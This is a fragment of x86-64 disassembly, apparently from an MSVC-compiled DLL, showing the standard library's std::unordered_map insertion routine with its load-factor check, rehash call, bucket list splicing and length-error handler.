or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mov rcx, qword [rsi + 0x38]
xorps xmm1, xmm1
test rcx, rcx
js 0x18000a81a
cvtsi2ss xmm1, rcx
jmp 0x18000a82f
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm1, rax
addss xmm1, xmm1
divss xmm0, xmm1
comiss xmm0, dword [rsi]
jbe 0x18000a889
mov rcx, rsi
call fcn.1800279d0
mov rcx, qword [rsi + 0x30]
and rcx, r12
add rcx, rcx
mov rdx, qword [rsi + 0x18]
mov rax, qword [rdx + rcx*8 + 8]
mov rbx, qword [rsi + 8]
cmp rax, rbx
je 0x18000a87c
mov rdx, qword [rdx + rcx*8]
mov ecx, dword [rdi + 0x10]
cmp ecx, dword [rax + 0x10]
je 0x18000a879
mov rbx, rax
cmp rax, rdx
je 0x18000a8bd
mov rax, qword [rax + 8]
cmp ecx, dword [rax + 0x10]
jne 0x18000a868
mov rbx, qword [rax]
mov qword [rsp + 0x20], rbx
mov rbp, rbx
mov r15, qword [rsp + 0x20]
mov rdx, qword [rbx + 8]
inc qword [rsi + 0x10]
mov qword [rdi], r15
mov qword [rdi + 8], rdx
mov qword [rdx], rdi
mov qword [rbx + 8], rdi
mov rcx, qword [rsi + 0x18]
mov rax, qword [rsi + 0x30]
and rax, r12
add rax, rax
mov r8, qword [rcx + rax*8]
cmp r8, qword [rsi + 8]
jne 0x18000a8c4
mov qword [rcx + rax*8], rdi
jmp 0x18000a8d6
mov qword [rsp + 0x20], rax
jmp 0x18000a881
cmp r8, rbp
jne 0x18000a8cf
mov qword [rcx + rax*8], rdi
jmp 0x18000a8db
cmp qword [rcx + rax*8 + 8], rdx
jne 0x18000a8db
mov qword [rcx + rax*8 + 8], rdi
mov qword [r14], rdi
mov byte [r14 + 8], 1
jmp 0x18000a776
lea rcx, str.unordered_map_set_too_long
call sub.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_
int3